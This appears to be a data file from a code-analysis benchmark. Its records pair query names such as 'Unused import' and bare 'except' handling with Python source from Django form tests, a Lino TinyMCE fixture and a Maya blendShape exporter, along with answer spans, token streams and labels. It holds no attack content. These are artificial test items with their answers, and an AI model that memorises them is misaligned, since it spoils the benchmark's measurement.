"\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "email", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "1", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "2", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Classic", "Sign", "up", "Form", "s", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "simple", "\\u", "classic", "\\u", "with", "\\u", "email", "\\u", "signup", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Simple", "Classic", "With", "Ema", "il", "Sign", "up", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "get", "\\u", "user", "name", "\\u", "field_", "(_", ")_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "email", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "1", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "password", "2", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Classic", "Sign", "up", "Custom", "User", "Form", "s", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "classic", "\\u", "signup", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Classic", "Sign", "up", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "email", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "1", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "2", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Classic", "Sign", "up", "Custom", "User", "Form", "s", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "simple", "\\u", "classic", "\\u", "signup", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Simple", "Classic", "Sign", "up", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "user", "name", "'_", "not_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "email", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "1", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "password", "2", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Classic", "Sign", "up", "Custom", "User", "Form", "s", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "classic", "\\u", "with", "\\u", "email", "\\u", "signup", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Classic", "With", "Ema", "il", "Sign", "up", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "user", "name", "'_", "not_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "email", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "1", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "2", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Classic", "Sign", "up", "Custom", "User", "Form", "s", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "simple", "\\u", "classic", "\\u", "with", "\\u", "email", "\\u", "signup", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Simple", "Classic", "With", "Ema", "il", "Sign", "up", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "user", "name", "'_", "not_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "email", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "1", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "password", "2", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mode", "rn", "Sign", "up", "Form", "s", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "moder", "n", "\\u", "signup", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Mode", "rn", "Sign", "up", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "user", "name", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "email", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "1", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "password", "2", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mode", "rn", "Sign", "up", "Form", "s", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "invitation", "\\u", "signup", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Invitation", "Sign", "up", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "user", "name", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "code", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "email", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "1", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "password", "2", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Classic", "Signin", "Form", "s", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "classic", "\\u", "signin", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Classic", "Signin", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "user", "name", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mode", "rn", "Signin", "Form", "s", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "moder", "n", "\\u", "signin", "\\u", "attrs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Mode", "rn", "Signin", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "set_", "(_", "f_", "._", "fields_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "user", "name", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "password", "'_", "in_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Toolb", "ox", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "get", "\\u", "site", "gate", "\\u", "urls_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "urls_", "=_", "get", "\\u", "site", "gate", "\\u", "urls_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "urls_", ",_", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "urls_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "urls_", "[_", "0_", "]_", ",_", "Rege", "x", "URL", "Pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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unused import
lsaffre/lino/lino/modlib/tinymce/fixtures/std.py
[ { "content": "# -*- coding: UTF-8 -*-\n# Copyright 2011-2015 Luc Saffre\n# License: BSD (see file COPYING for details)\n\nfrom django.conf import settings\nfrom lino.utils.instantiator import Instantiator\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def objects():\n tft = Instantiator('tinymce.TextFieldTemplate',\n \"name description text\").build\n\n yield tft(\"hello\", \"Inserts 'Hello, world!'\", \"\"\"<div>Hello, world!</div>\"\"\")\n #~ yield tft(\"mfg\",\"\",'<p>Mit freundlichen Gr&uuml;&szlig;en<br><p class=\"data_field\">root</p>')\n yield tft(\"mfg\", \"\", '<p>Mit freundlichen Gr&uuml;&szlig;en<br><p>{{request.subst_user or request.user}}</p>')", "metadata": "root.objects", "header": "['module', '___EOS___']", "index": 8 } ]
[ { "span": "from django.conf import settings", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 32 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "UT", "F", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2011", "-", "201", "5", " ", "Luc", " ", "Saf", "fre", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", ":", " ", "BS", "D", " ", "(", "see", " ", "file", " ", "COPY", "ING", " ", "for", " ", "deta", "il", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lino", "_", "._", "utils_", "._", "instant", "iat", "or_", "import_", "Instant", "iat", "or_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "objects_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tft", "_", "=_", "Instant", "iat", "or_", "(_", "'", "tiny", "mce", ".", "Text", "Field", "Templa", "te", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "name", " ", "description", " ", "text", "\"_", ")_", "._", "build_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "tft", "_", "(_", "\"", "hell", "o", "\"_", ",_", "\"", "Insert", "s", " ", "'", "Hell", "o", ",", " ", "world", "!'", "\"_", ",_", "\"\"\"", "<", "div", ">", "Hell", "o", ",", " ", "world", "!<", "/", "div", ">\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "yield", " ", "tft", "(\"", "mf", "g", "\",\"", "\",", "'<", "p", ">", "Mit", " ", "fre", "und", "lic", "hen", " ", "Gr", "&", "uu", "ml", ";", "&", "sz", "lig", ";", "en", "<", "br", "><", "p", " ", "class", "=\"", "data\\u", "field", "\">", "root", "</", "p", ">'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "tft", "_", "(_", "\"", "mf", "g", "\"_", ",_", "\"\"_", ",_", "'<", "p", ">", "Mit", " ", "fre", "und", "lic", "hen", " ", "Gr", "&", "uu", "ml", ";", "&", "sz", "lig", ";", "en", "<", "br", "><", "p", ">", "{{", "request", ".", "subst", "\\u", "user", " ", "or", " ", "request", ".", "user", "}}", "</", "p", ">'_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
CountZer0/PipelineConstructionSet/python/maya/site-packages/amTools/unity/blendShapes.py
[ { "content": "def exportBlendShapes():\n\t\"\"\"Exports sparse blendShape data from the scene for each mesh with a\n\tblendShape deformer in its history. This is accomplished by duplicating\n\tthe mesh and tagging vertices in the duplicate using vertex colors. The\n\tduplicate then stores all of the data as user properties.\"\"\"\n\t\n\t# find all of the potential models in the scene\n\tmodels = om.MSelectionList()\n\tfor model in cmds.ls(transforms=True): models.add(model)\n\t\n\t# store a dictionary mapping models whose shapes have a blendShape upstream to all of their blendShape nodes\n\tmodelsWithBlendShapeDeformers = {}\n\tdagPath = om.MDagPath()\n\titer = om.MItSelectionList(models)\n\twhile not iter.isDone():\n\t\titer.getDagPath(dagPath)\n\t\tmodel = om.MDagPath(dagPath)\n\t\ttry:\n\t\t\t# ensure the current transform has a shape node\n\t\t\tdagPath.extendToShape()\n\t\t\t# search upstream from shape for all blendShape nodes\n\t\t\tdg = om.MItDependencyGraph(dagPath.node(), om.MFn.kBlendShape, om.MItDependencyGraph.kUpstream)\n\t\t\twhile not dg.isDone():\n\t\t\t\t# add the blendShape nodes to a list in the dictionary\n\t\t\t\tif not modelsWithBlendShapeDeformers.has_key(model):\n\t\t\t\t\tmodelsWithBlendShapeDeformers[model] = []\n\t\t\t\tmodelsWithBlendShapeDeformers[model].append(dg.currentItem())\n\t\t\t\tdg.next()\n\t\texcept: pass\n\t\titer.next()\n\t\n\t# create tagged duplicates for each model with blendShapes and its targets\n\tfor model in modelsWithBlendShapeDeformers.keys():\n\t\t\n\t\t# delete non-deformer history on the model in order to collapse intermediate nodes\n\t\t# model will come into Unity wrong, but at least not with ugly error\n\t\tcmds.select(model.partialPathName())\n\t\tmel.eval('doBakeNonDefHistory( 1, {\"prePost\" });')\n\t\tcmds.select(cl=True)\n\t\t\n\t\t# zero all blendShape target weights on the model\n\t\tfor blendNode in modelsWithBlendShapeDeformers[model]:\n\t\t\tfn = om.MFnDependencyNode(blendNode)\n\t\t\taliases = cmds.aliasAttr(fn.name(), q=True)\n\t\t\tfor alias in aliases:\n\t\t\t\t# skip non-weight attributes\n\t\t\t\tif not re.match('weight\\[[0-9]+\\]', alias): continue\n\t\t\t\tdest = '%s.%s'%(fn.name(), alias)\n\t\t\t\tsource = cmds.listConnections(dest, p=True)\n\t\t\t\tif source: cmds.disconnectAttr(source[0], dest)\n\t\t\t\tcmds.setAttr(dest, 0.0)\n\t\t\n\t\t# duplicate the base mesh and indicate that it is the base index map\n\t\ttaggedBaseMesh = cmds.duplicate(model.partialPathName())[0]\n\t\ttaggedBaseMesh = cmds.rename(taggedBaseMesh, model.partialPathName()+'__blendShapeIndexMap')\n\t\tcustomAttrs = cmds.listAttr(taggedBaseMesh, ud=True)\n\t\tif (customAttrs):\t\n\t\t\tfor attr in customAttrs:\n\t\t\t\ttry: cmds.deleteAttr(taggedBaseMesh, at=attr)\n\t\t\t\texcept: pass\n\t\tcmds.addAttr(taggedBaseMesh, ln='isBlendShapeMapFor', dt='string')\n\t\tcmds.setAttr('%s.isBlendShapeMapFor'%taggedBaseMesh, model.partialPathName(), type='string')\n\t\t\n\t\t# tag each vertex in the base shape duplicate\n\t\tdagPath = om.MDagPath()\n\t\tsel = om.MSelectionList()\n\t\tsel.add(taggedBaseMesh)\n\t\tsel.getDagPath(0, dagPath)\n\t\tdagPath.extendToShape()\n\t\ttagMesh(dagPath)\n\t\t\n\t\t# duplicate the tagged base mesh to create the seamless base mesh\n\t\tseamlessBaseMesh = cmds.duplicate(taggedBaseMesh)[0]\n\t\tseamlessBaseMesh = cmds.rename(seamlessBaseMesh, model.partialPathName()+'__seamlessBaseMesh')\n\t\tfor attr in cmds.listAttr(seamlessBaseMesh, ud=True):\n\t\t\ttry: cmds.deleteAttr(seamlessBaseMesh, at=attr)\n\t\t\texcept: pass\n\t\tmakeSeamless(seamlessBaseMesh)\n\t\t# link seamless mesh to tagged base shape\n\t\tcmds.addAttr(seamlessBaseMesh, ln='isSeamlessBaseMeshFor', dt='string')\n\t\tcmds.setAttr('%s.isSeamlessBaseMeshFor'%seamlessBaseMesh, taggedBaseMesh, type='string')\n\t\t# make the seamless base mesh a child of the tagged base mesh, in order to avoid creating additional roots\n\t\tcmds.parent(seamlessBaseMesh, taggedBaseMesh)\n\t\t\n\t\t# create a color-tagged copy of each target, linked back to the tagged base shape via user properties\n\t\tfor blendNode in modelsWithBlendShapeDeformers[model]:\n\t\t\tfn = om.MFnDependencyNode(blendNode)\n\t\t\taliases = cmds.aliasAttr(fn.name(), q=True)\n\t\t\tfor alias in aliases:\n\t\t\t\t# skip weight attributes\n\t\t\t\tif re.match('weight\\[[0-9]+\\]', alias): continue\n\t\t\t\t# create a duplicate of the composite shape and convert it into a seamless mesh\n\t\t\t\tcmds.setAttr('%s.%s'%(fn.name(), alias), 1.0)\n\t\t\t\ttaggedTarget = cmds.duplicate(model.partialPathName())[0]\n\t\t\t\tattrs = cmds.listAttr(taggedTarget, ud=True)\n\t\t\t\tif (attrs):\n\t\t\t\t\tfor attr in attrs:\n\t\t\t\t\t\ttry: cmds.deleteAttr(taggedTarget, at=attr)\n\t\t\t\t\t\texcept: pass\n\t\t\t\ttaggedTarget = cmds.rename(taggedTarget, '%s__blendShapeTarget__%s'%(model.partialPathName(), alias))\n\t\t\t\tmakeSeamless(taggedTarget)\n\t\t\t\tcmds.setAttr('%s.%s'%(fn.name(), alias), 0.0)\n\t\t\t\t# tag the duplicated target\n\t\t\t\tdagPath = om.MDagPath()\n\t\t\t\tsel = om.MSelectionList()\n\t\t\t\tsel.add(taggedTarget)\n\t\t\t\tsel.getDagPath(0, dagPath)\n\t\t\t\tdagPath.extendToShape()\n\t\t\t\ttagMesh(dagPath)\n\t\t\t\t# link target to tagged base shape\n\t\t\t\tcmds.addAttr(taggedTarget, ln='isBlendShapeTargetFor', dt='string')\n\t\t\t\tcmds.setAttr('%s.isBlendShapeTargetFor'%taggedTarget, taggedBaseMesh, type='string')\n\t\t\t\t# make the tagged mesh a child of the tagged base mesh, in order to avoid creating additional roots\n\t\t\t\tcmds.parent(taggedTarget, taggedBaseMesh)\n\t\n\t\t# make the tagged mesh a child of the original, in order to avoid creating additional roots\n\t\tcmds.parent(taggedBaseMesh, model.partialPathName())", "metadata": "root.exportBlendShapes", "header": "['module', '___EOS___']", "index": 47 }, { "content": "def makeSeamless(meshName):\n\t\"\"\"Makes a supplied mesh \"seamless\" in Unity by deleting its UV coordinates, smoothing normals, triangulating, and clearing material assignments\"\"\"\n\t# clear uvs so there are no seams or tangents\n\tuvs = cmds.polyUVSet(meshName, q=True, auv=True)\n\tfor uv in uvs:\n\t\ttry: cmds.polyUVSet(meshName, e=True, uvSet=uv, delete=True)\n\t\texcept: pass\n\tuvSet = cmds.polyUVSet(meshName, q=True, auv=True)[0]\n\tsel = om.MSelectionList()\n\tsel.add(meshName)\n\tdagPath = om.MDagPath()\n\tsel.getDagPath(0, dagPath)\n\tfn = om.MFnMesh(dagPath)\n\tfn.clearUVs(uvSet)\n\t# smooth normals so there are no normal separations\n\tcmds.polySoftEdge(meshName, a=180, ch=True)\n\t# triangulate geometry\n\tcmds.polyTriangulate(meshName)\n\t# apply a single material so there are no submesh separations\n\tcmds.sets(meshName, e=True, forceElement='initialShadingGroup')\n\t# delete all history\n\tcmds.delete(meshName, ch=True)\n\tcmds.select(clear=True)", "metadata": "root.makeSeamless", "header": "['module', '___EOS___']", "index": 165 }, { "content": "def tagMesh(meshDagPath):\n\t\"\"\"Tag the points on the supplied mesh with vertex colors to store Maya's point order\"\"\"\n\t# clear any extant vertex colors\n\ttry: cmds.polyColorSet(meshDagPath.partialPathName(), e=True, delete=True, acs=True)\n\texcept: pass\n\t\n\t# encode each point index in the red and green channels of each point's color value\n\tmeshFn = om.MFnMesh(meshDagPath)\n\tvertexCount = om.MIntArray()\n\tvertexList = om.MIntArray()\n\tmeshFn.getVertices(vertexCount, vertexList)\n\tvertexColors = om.MColorArray(meshFn.numVertices(), om.MColor(0.0,0.0,1.0,1.0))\t\n\t\n\tfor i in xrange(meshFn.numVertices()):\n\t\tcol = om.MColor(tagIndexToColor(i))\n\t\tvertexColors[i].r = col.r\n\t\tvertexColors[i].g = col.g\n\tmeshFn.createColorSetWithName('blendShapeIndexMap')\n\tmeshFn.setColors(vertexColors, 'blendShapeIndexMap')\n\tmeshFn.assignColors(vertexList)", "metadata": "root.tagMesh", "header": "['module', '___EOS___']", "index": 189 } ]
[ { "span": "except: ", "start_line": 75, "start_column": 2, "end_line": 75, "end_column": 9 }, { "span": "except: ", "start_line": 106, "start_column": 4, "end_line": 106, "end_column": 11 }, { "span": "except: ", "start_line": 123, "start_column": 3, "end_line": 123, "end_column": 10 }, { "span": "except: ", "start_line": 145, "start_column": 6, "end_line": 145, "end_column": 13 }, { "span": "except: ", "start_line": 171, "start_column": 2, "end_line": 171, "end_column": 9 }, { "span": "except: ", "start_line": 193, "start_column": 1, "end_line": 193, "end_column": 8 } ]
[]
1
true
